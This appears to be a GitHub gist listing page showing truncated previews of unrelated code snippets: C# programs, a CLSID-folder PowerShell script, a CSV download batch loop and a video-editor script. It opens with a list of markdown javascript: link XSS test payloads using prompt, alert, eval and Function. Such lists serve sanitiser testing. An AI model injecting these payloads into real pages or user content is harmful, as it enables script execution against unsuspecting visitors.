[test](javascript:prompt(1234))
[test](Javascript:alert(1234))
[test](javascript://www.google.com%0Aalert(1234))
[test](javascript:prompt`1234`)
[test](javascript://www.google.com%0Aprompt(1234))
[test](javascript:eval(`prompt(1234)`))
[](javascript:prompt(1234))
[test](javascript:Function('prompt(1234)')())
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using Microsoft.SemanticKernel; | |
using Microsoft.SemanticKernel.ChatCompletion; | |
using Spectre.Console; | |
using System.ComponentModel; | |
using System.Diagnostics; | |
/// <summary> | |
/// Ce programme utilise Semantic Kernel avec un modèle Mistral local via Ollama. | |
/// Il inclut une fonction pour lister les processus en cours. | |
/// </summary> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System.Globalization; | |
using System.Text; | |
class Program | |
{ | |
static async Task Main() | |
{ | |
var villes = new List<string> | |
{ | |
"Moskva", "London", "Berlin", "Madrid", "Roma", "Paris", "București", "Wien", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using Raylib_cs; | |
using System.Diagnostics; | |
namespace AsciiI | |
{ | |
public static class VideoCreator | |
{ | |
public static List<Image> Images = new(); | |
static readonly string FfmpegPath = @"Ressources/ffmpeg.exe"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
static void SinScroll(float offsetX, List<Texture2D> texturesList) | |
{ | |
int startX = screenWidth; | |
int startY = screenHeight / 2; | |
float frequency = 3.3f; // Fréquence de l'ondulation | |
float baseAmplitude = 110f; // Amplitude de base de l'ondulation | |
Raylib.BeginBlendMode(BlendMode.Alpha); | |
for (int i = 0; i < texturesList.Count; i++) | |
{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
static string SelfDecompile() | |
{ | |
string result = string.Empty; | |
string assemblyFilePath = System.Reflection.Assembly.GetExecutingAssembly().Location; | |
AssemblyDefinition assembly = AssemblyDefinition.ReadAssembly(assemblyFilePath); | |
// Trouver la classe Program | |
TypeDefinition programType = null; | |
foreach (TypeDefinition type in assembly.MainModule.Types) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$registryPath = "HKLM:\SOFTWARE\Classes\CLSID" | |
$clsidKeys = Get-ChildItem -Path $registryPath | |
foreach ($clsidKey in $clsidKeys) { | |
$name = $clsidKey.PSChildName | |
$directoryPath = ".\folders\$name.$name" | |
if (-not (Test-Path -Path $directoryPath)) { | |
New-Item -Path $directoryPath -ItemType Directory | |
Write-Host "créé : $directoryPath" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System.Data; | |
using System.Data.Entity.Core.Common.CommandTrees.ExpressionBuilder; | |
using System.Data.SQLite; | |
using Spectre.Console; | |
using Rule = Spectre.Console.Rule; | |
using Color = Spectre.Console.Color; | |
class ReadAllSQLiteFiles | |
{ | |
static void Main(string[] args) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@echo off | |
SET NB=1 | |
:loop | |
IF %NB% GTR 95 GOTO concat | |
SET URL=https://www.georisques.gouv.fr/webappReport/ws/cavites/departements/%nb%/fiches.csv | |
SET FILE="./%NB%.csv" | |
ECHO Downloading from %URL% .. | |
powershell.exe -c "(New-Object Net.WebClient).DownloadFile('%URL%','%FILE%')" | |
SET /a NB=NB+1 | |
GOTO loop |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
namespace ReduceNoiseAll | |
{ | |
using System; | |
using ScriptPortal.Vegas; | |
using System.Windows.Forms; | |
using System.Collections.Generic; | |
public class EntryPoint | |
{ | |
public void FromVegas(Vegas vegas) | |
{ |
NewerOlder